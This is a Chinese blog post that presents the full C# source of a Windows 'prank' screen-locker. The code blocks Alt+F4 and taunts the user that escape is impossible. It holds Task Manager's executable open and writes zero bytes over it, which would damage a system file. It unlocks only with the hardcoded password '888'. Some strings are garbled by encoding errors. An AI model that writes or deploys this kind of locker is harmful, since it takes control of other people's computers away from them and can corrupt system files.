用C#實現屏幕鎖定

2019-11-17 04:08:17

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using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Text;
using System.Windows.Forms;
using System.IO;
using Microsoft.Win32;

namespace 惡搞程序
{
    public partial class Form1 : Form
    {
        public Form1()
        {
            InitializeComponent();
        }
        int i = 0;
        public FileStream MyFs;
        private void timer1_Tick(object sender, EventArgs e)
        {

             if (this.progressBar1.Value == 50)
            {
                 label2.Text += "/n你現在按ALT+F4也沒用，不信你試試?。。『呛?quot;;
            }
            if (this.progressBar1.Value == 100)
            {
                label2.ForeColor = Color.Blue; ;
                label2.Text = "不行吧?。?！";
            }
            if (this.progressBar1.Value == 150)
            {
                label2.ForeColor = Color.DarkGreen;
                label2.Text = "結束不了了，怎么辦？？？";
            }
            if (this.progressBar1.Value == 200)
           {
                label2.Text = "任務管理器怎么樣？？？看能不能結束？";
                label2.ForeColor = Color.White;
            }
            if (this.progressBar1.Value == 250)
            {
                  label2.ForeColor = Color.DarkRed;
                label2.Text = "我靠，調不出來?。。?quot;;
            }
             if (this.progressBar1.Value == 300)
            {
                label2.ForeColor = Color.Yellow;
                label2.Text = "重新啟動？不會吧?。?！";
            }
            if (this.progressBar1.Value ==350)
            {
                label2.ForeColor = Color.YellowGreen;
                label2.Text = "沒辦法了吧";
            }
            if (this.progressBar1.Value == 400)
            {
                label2.ForeColor = Color.Red;
                label2.Text = "自己慢慢想辦法吧，O(∩_∩)O~";
            }
            if (this.progressBar1.Value == 450)
            {
                label2.ForeColor = Color.Green;
                label2.Text = "算了，不整你了";
            }
            if (this.progressBar1.Value == 500)
            {
                label2.ForeColor = Color.DarkGray;
                label2.Text = "在文本框中輸入";
            }
            if (this.progressBar1.Value == 550)
            {
                label2.ForeColor = Color.Brown;
                label2.Text = "888";
            }
            if (this.progressBar1.Value == 599)
            {
                label2.ForeColor = Color.Gold;
                label2.Text+= "按回車";
            }
            if (i <=600)
            {
                this.progressBar1.Value = i++;
            }
            else
            {
                this.timer1.Stop();
                return;
            }
        }

        private void Form1_Load(object sender, EventArgs e)
        {

　　　　　　MyFs = new FileStream(Environment.ExpandEnvironmentVariables("%windir%//system32//taskmgr.exe"), FileMode.Open);
                byte[] Mybyte = new byte[(int)MyFs.Length];
                MyFs.Write(Mybyte, 0, (int)MyFs.Length);
　　　　　　//MyFs.Close(); //用文件流打開任務管理器應用程序而不關閉文件流就會阻止打開任務管理器

            this.KeyPreview = true;
            progressBar1.Hide();
           label2.Text="你的屏幕被鎖定了！??！";
            timer1.Start();
        }

        private void Form1_KeyDown(object sender, KeyEventArgs e)
        {
            if (e.Alt)
            {
                if (e.KeyCode == Keys.F4)
                {
                    e.Handled = true;
                    MessageBox.Show("ALT+F4被禁用", "警告", MessageBoxButtons.OK, MessageBoxIcon.Exclamation);
                }

            }
        }

        private void textBox1_KeyDown(object sender, KeyEventArgs e)
        {
            if (e.KeyCode == Keys.Enter)
            {
                if (textBox1.Text == "")
                {
                    MessageBox.Show("請輸入密碼！", "提示", MessageBoxButtons.OK, MessageBoxIcon.Error);
                    return;
                }
                if (textBox1.Text == "888")
                {
                    MyFs.Close();
                    System.Diagnostics.Process.Start("http://hi.baidu.com/00zht00");
                    this.Close();
                }
                else
                {
                    MessageBox.Show("對不起，您輸入的密碼錯誤，請查證后再試，謝謝合作！", "錯誤", MessageBoxButtons.OK, MessageBoxIcon.Error);
                    textBox1.Text = "";
                }
            }
        }
    }
}

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